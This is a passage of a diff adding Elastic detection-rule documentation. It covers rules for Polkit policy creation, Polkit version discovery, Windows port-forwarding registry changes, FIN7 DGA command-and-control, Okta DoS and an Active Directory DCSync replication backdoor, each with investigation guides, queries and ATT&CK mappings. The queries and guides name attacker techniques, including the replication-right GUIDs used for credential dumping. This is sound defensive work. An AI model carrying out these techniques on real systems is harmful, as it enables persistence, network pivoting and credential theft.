Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-polkit-policy-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-polkit-policy-creation.asciidoc new file mode 100644 index 0000000000..c3cc751487 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-polkit-policy-creation.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-polkit-policy-creation]] +=== Polkit Policy Creation + +This rule monitors for the creation of Polkit policy files on Linux systems. Polkit policy files are used to define the permissions for system-wide services and applications. The creation of new Polkit policy files may indicate an attempt to modify the authentication process, which could be used for persistence by an adversary. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Polkit Policy Creation* + + +Polkit, or PolicyKit, is a system service in Linux environments that manages system-wide privileges, allowing non-privileged processes to communicate with privileged ones. Adversaries may exploit Polkit by creating or modifying policy files to gain unauthorized access or maintain persistence. The detection rule monitors the creation of these files in critical directories, excluding known legitimate processes, to identify potential malicious activity. + + +*Possible investigation steps* + + +- Review the file path and extension to confirm if the created file is located in one of the critical directories specified in the query, such as /etc/polkit-1/rules.d/ or /usr/share/polkit-1/actions/. +- Identify the process executable responsible for the file creation and verify if it is listed in the exclusion list of known legitimate processes. If not, this may warrant further investigation. +- Check the timestamp of the file creation event to determine if it coincides with any known maintenance or update activities, which could explain the file creation. +- Investigate the user account associated with the process that created the file to determine if it has the necessary privileges and if the activity aligns with the user's typical behavior. +- Examine any recent changes or updates to the system that might have triggered the creation of the Polkit policy file, such as software installations or configuration changes. +- Look for any related alerts or logs that might indicate a broader pattern of suspicious activity, such as unauthorized access attempts or other policy modifications. + + +*False positive analysis* + + +- System package managers like dpkg, rpm, and yum may create or modify Polkit policy files during legitimate software installations or updates. To handle these, ensure that the rule excludes processes associated with these package managers as specified in the rule's exception list. +- Container management tools such as Docker and Podman might also trigger false positives when managing containerized applications. Users should verify that these executables are included in the exclusion list to prevent unnecessary alerts. +- Automation tools like Puppet and Chef can modify policy files as part of their configuration management tasks. Confirm that these processes are part of the exclusion criteria to avoid false positives. +- Snap package installations and updates can lead to the creation of policy files. Ensure that paths related to Snap are covered in the exclusion patterns to minimize false alerts. +- Virtualization software such as VirtualBox may interact with Polkit policy files. Users should check that relevant paths and executables are included in the exceptions to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified as creating or modifying Polkit policy files, especially those not listed in the known legitimate processes. +- Review and restore the integrity of the Polkit policy files by comparing them against a known good baseline or backup to ensure no unauthorized changes persist. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Implement additional monitoring on the affected system and similar systems to detect any further attempts to create or modify Polkit policy files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Review and update access controls and permissions related to Polkit policy files to ensure only authorized processes and users can create or modify these files, reducing the risk of future exploitation. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.extension in ("rules", "pkla", "policy") and file.path like~ ( + + // Rule files + "/etc/polkit-1/rules.d/*", "/usr/share/polkit-1/rules.d/*", + + // pkla files + "/etc/polkit-1/localauthority/*", "/var/lib/polkit-1/localauthority/*", + + // Action files + "/usr/share/polkit-1/actions/*", + + // Misc. legacy paths + "/lib/polkit-1/rules.d/*", "/lib64/polkit-1/rules.d/*", "/var/lib/polkit-1/rules.d/*" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "/usr/local/bin/pacman", "./usr/bin/podman", + "/kaniko/executor", "/opt/kaniko/executor", "/usr/bin/buildah", "/usr/lib/cargo/bin/coreutils/install" + ) or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/var/lib/containers/storage/overlay/*/dockerd", "/var/lib/docker/overlay2/*/dockerd" + ) or + (process.name like "python*" and file.name like ".ansible_tmp*.rules") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-polkit-version-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-polkit-version-discovery.asciidoc new file mode 100644 index 0000000000..8937307338 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-polkit-version-discovery.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-polkit-version-discovery]] +=== Polkit Version Discovery + +This rule detects Polkit version discovery activity on Linux systems. Polkit version discovery can be an indication of an attacker attempting to exploit misconfigurations or vulnerabilities in the Polkit service. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Polkit Version Discovery* + + +Polkit, a system service in Linux, manages system-wide privileges, enabling non-privileged processes to communicate with privileged ones. Adversaries may exploit Polkit by discovering its version to identify vulnerabilities or misconfigurations. The detection rule identifies suspicious activities by monitoring specific command executions related to Polkit version checks, signaling potential reconnaissance efforts by attackers. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the command used for Polkit version discovery, focusing on the process name and arguments such as "dnf", "rpm", "apt", or "pkaction". +- Check the user account associated with the process execution to determine if it is a legitimate user or potentially compromised. +- Investigate the host from which the command was executed to assess if it has a history of suspicious activities or if it is a high-value target. +- Correlate the event with other logs or alerts to identify if there are additional indicators of compromise or related reconnaissance activities. +- Evaluate the necessity and frequency of Polkit version checks in the environment to determine if this behavior is expected or anomalous. + + +*False positive analysis* + + +- Routine system updates or package management activities may trigger the rule when administrators use package managers like dnf, rpm, or apt to check for updates or verify installed packages. To mitigate this, create exceptions for known administrative scripts or user accounts that regularly perform these actions. +- Automated system monitoring tools that check software versions for compliance or inventory purposes might also cause false positives. Identify these tools and exclude their processes from triggering the rule. +- Developers or system administrators testing Polkit configurations or updates might execute version checks as part of their workflow. Consider excluding specific user accounts or process paths associated with development and testing environments. +- Security audits or vulnerability assessments conducted by internal teams may involve version checks as part of their procedures. Coordinate with these teams to whitelist their activities during scheduled assessments. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Terminate any suspicious processes identified in the alert, such as those involving the execution of Polkit version discovery commands. +- Conduct a thorough review of system logs and command history to identify any unauthorized access or further malicious activities. +- Apply any available security patches or updates to the Polkit service to address known vulnerabilities. +- Implement stricter access controls and monitoring on systems running Polkit to prevent unauthorized version checks and other reconnaissance activities. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Enhance detection capabilities by configuring alerts for similar reconnaissance activities across the network to ensure early detection of potential threats. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "process_started", "executed") and ( + (process.name == "dnf" and process.args == "dnf" and process.args == "info" and process.args == "polkit") or + (process.name == "rpm" and process.args == "polkit") or + (process.name == "apt" and process.args == "show" and process.args == "policykit-1") or + (process.name == "pkaction" and process.args == "--version") +) and +not ( + ?process.working_directory in ("/opt/msp-agent", "/opt/CyberCNSAgent") or + ?process.parent.executable like ("/usr/local/cpanel/3rdparty/perl/*/bin/perl", "/usr/share/vicarius/topiad") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-port-forwarding-rule-addition.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-port-forwarding-rule-addition.asciidoc new file mode 100644 index 0000000000..e85488599d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-port-forwarding-rule-addition.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-20-port-forwarding-rule-addition]] +=== Port Forwarding Rule Addition + +Identifies the creation of a new port forwarding rule. An adversary may abuse this technique to bypass network segmentation restrictions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike + +*Version*: 417 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Port Forwarding Rule Addition* + + +Network port forwarding is a mechanism to redirect incoming TCP connections (IPv4 or IPv6) from the local TCP port to any other port number, or even to a port on a remote computer. + +Attackers may configure port forwarding rules to bypass network segmentation restrictions, using the host as a jump box to access previously unreachable systems. + +This rule monitors the modifications to the `HKLM\SYSTEM\*ControlSet*\Services\PortProxy\v4tov4\` subkeys. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account and system owners and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Identify the target host IP address, check the connections originating from the host where the modification occurred, and inspect the credentials used. + - Investigate suspicious login activity, such as unauthorized access and logins from outside working hours and unusual locations. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the Administrator is aware of the activity and there are justifications for this configuration. +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Delete the port forwarding rule. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Services\\PortProxy\\v4tov4\\*" and registry.data.strings != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: Internal Proxy +** ID: T1090.001 +** Reference URL: https://attack.mitre.org/techniques/T1090/001/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-possible-fin7-dga-command-and-control-behavior.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-possible-fin7-dga-command-and-control-behavior.asciidoc new file mode 100644 index 0000000000..fa07d3e70f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-possible-fin7-dga-command-and-control-behavior.asciidoc @@ -0,0 +1,88 @@ +[[prebuilt-rule-8-19-20-possible-fin7-dga-command-and-control-behavior]] +=== Possible FIN7 DGA Command and Control Behavior + +This rule detects a known command and control pattern in network events. The FIN7 threat group is known to use this command and control technique, while maintaining persistence in their target's network. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +In the event this rule identifies benign domains in your environment, the `destination.domain` field in the rule can be modified to include those domains. Example: `...AND NOT destination.domain:(zoom.us OR benign.domain1 OR benign.domain2)`. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: (network_traffic.tls OR network_traffic.http) OR + (event.category: (network OR network_traffic) AND type: (tls OR http) AND network.transport: tcp)) AND +destination.domain:/[a-zA-Z]{4,5}\.(pw|us|club|info|site|top)/ AND NOT destination.domain:zoom.us + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-possible-okta-dos-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-possible-okta-dos-attack.asciidoc new file mode 100644 index 0000000000..293516aecf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-possible-okta-dos-attack.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-possible-okta-dos-attack]] +=== Possible Okta DoS Attack + +Detects possible Denial of Service (DoS) attacks against an Okta organization. An adversary may attempt to disrupt an organization's business operations by performing a DoS attack against its Okta service. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 413 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Possible Okta DoS Attack* + + +Okta, a leading identity management service, is crucial for managing user access in organizations. Adversaries may exploit Okta by overwhelming it with requests, causing service disruptions. The detection rule identifies potential DoS attacks by monitoring specific Okta system events that indicate rate limit violations, signaling attempts to degrade service availability. + + +*Possible investigation steps* + + +- Review the specific Okta system events that triggered the alert, focusing on event.action values such as application.integration.rate_limit_exceeded, system.org.rate_limit.warning, system.org.rate_limit.violation, and core.concurrency.org.limit.violation to understand the nature of the rate limit violations. +- Analyze the frequency and pattern of the triggered events to determine if there is a consistent or unusual spike in requests that could indicate a DoS attack. +- Identify the source IP addresses or user accounts associated with the excessive requests to determine if they are legitimate users or potential adversaries. +- Check for any recent changes or updates in the Okta configuration or integrations that might have inadvertently caused an increase in request rates. +- Correlate the Okta events with other network or application logs to identify any broader patterns or simultaneous attacks on other services that might suggest a coordinated effort. + + +*False positive analysis* + + +- High-volume legitimate user activity can trigger rate limit warnings. Monitor for patterns of normal usage spikes, such as during company-wide meetings or product launches, and consider setting exceptions for these events. +- Automated processes or integrations that frequently interact with Okta may cause rate limit violations. Identify these processes and adjust their request rates or set exceptions to prevent false positives. +- Scheduled batch jobs that access Okta services might exceed rate limits. Review and optimize the scheduling of these jobs to distribute the load more evenly or whitelist them if they are essential and non-disruptive. +- Third-party applications integrated with Okta could inadvertently cause rate limit issues. Work with vendors to ensure their applications are optimized for Okta's rate limits or create exceptions for trusted applications. +- Temporary spikes in user activity due to password resets or account provisioning can lead to false positives. Implement monitoring to distinguish between these benign activities and potential threats, and adjust the rule to accommodate expected spikes. + + +*Response and remediation* + + +- Immediately assess the impact on business operations by checking the availability and performance of Okta services. Coordinate with IT teams to ensure critical services remain operational. +- Contain the attack by implementing rate limiting or IP blocking for the identified sources of excessive requests. Use network security tools to enforce these restrictions. +- Notify the security operations center (SOC) and relevant stakeholders about the potential DoS attack to ensure awareness and coordinated response efforts. +- Review and adjust Okta's rate limit settings to mitigate the risk of future DoS attempts, ensuring they align with the organization's typical usage patterns. +- Escalate the incident to Okta support for further investigation and assistance in mitigating the attack, providing them with relevant logs and event details. +- Conduct a post-incident analysis to identify any gaps in the current security posture and update incident response plans accordingly. +- Enhance monitoring and alerting for similar threats by refining detection rules and ensuring they are tuned to capture early indicators of rate limit violations. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:(application.integration.rate_limit_exceeded or system.org.rate_limit.warning or system.org.rate_limit.violation or core.concurrency.org.limit.violation) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Network Denial of Service +** ID: T1498 +** Reference URL: https://attack.mitre.org/techniques/T1498/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ +* Sub-technique: +** Name: Service Exhaustion Flood +** ID: T1499.002 +** Reference URL: https://attack.mitre.org/techniques/T1499/002/ +* Sub-technique: +** Name: Application Exhaustion Flood +** ID: T1499.003 +** Reference URL: https://attack.mitre.org/techniques/T1499/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-active-directory-replication-account-backdoor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-active-directory-replication-account-backdoor.asciidoc new file mode 100644 index 0000000000..f23e0a0d22 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-active-directory-replication-account-backdoor.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-potential-active-directory-replication-account-backdoor]] +=== Potential Active Directory Replication Account Backdoor + +Identifies the modification of the nTSecurityDescriptor attribute in a domain object with rights related to DCSync to a user/computer account. Attackers can use this backdoor to re-obtain access to hashes of any user/computer. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/menasec1/status/1111556090137903104 +* https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml +* https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all +* https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes +* https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-in-filtered-set + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Active Directory Replication Account Backdoor* + + +Active Directory (AD) is a critical component in many enterprise environments, managing user and computer accounts. Adversaries may exploit AD by modifying security descriptors to gain replication rights, allowing them to extract sensitive credential data. The detection rule identifies suspicious changes to security descriptors, specifically targeting attributes that grant replication capabilities, which could indicate an attempt to establish a backdoor for credential access. + + +*Possible investigation steps* + + +- Review the event logs for the specific event code 5136 to identify the exact changes made to the nTSecurityDescriptor attribute and the account involved. +- Examine the winlog.event_data.AttributeValue to determine if the changes include the specific GUIDs (*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2, *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2, *89e95b76-444d-4c62-991a-0facbeda640c) that indicate replication rights were granted. +- Identify the user or computer account (S-1-5-21-*) that was granted these rights and assess whether this account should have such permissions. +- Check the account's recent activity and login history to identify any unusual or unauthorized access patterns. +- Investigate any recent changes or anomalies in the directory service that could correlate with the suspicious modification event. +- Consult with the Active Directory administrators to verify if the changes were authorized and part of any legitimate administrative tasks. + + +*False positive analysis* + + +- Changes made by authorized administrators during legitimate security audits or system maintenance can trigger the rule. To manage this, create exceptions for known administrative accounts performing regular audits. +- Automated scripts or tools used for Active Directory management might modify security descriptors as part of their normal operation. Identify these scripts and exclude their associated accounts from triggering alerts. +- Scheduled tasks or system processes that require replication rights for synchronization purposes may also cause false positives. Review and whitelist these processes if they are verified as non-threatening. +- Third-party applications with legitimate replication needs might alter security descriptors. Ensure these applications are documented and their actions are excluded from the rule. +- Temporary changes during system migrations or upgrades can be mistaken for suspicious activity. Monitor these events closely and apply temporary exceptions as needed. + + +*Response and remediation* + + +- Immediately isolate the affected user or computer account from the network to prevent further unauthorized access or data exfiltration. +- Revoke any unauthorized permissions or changes made to 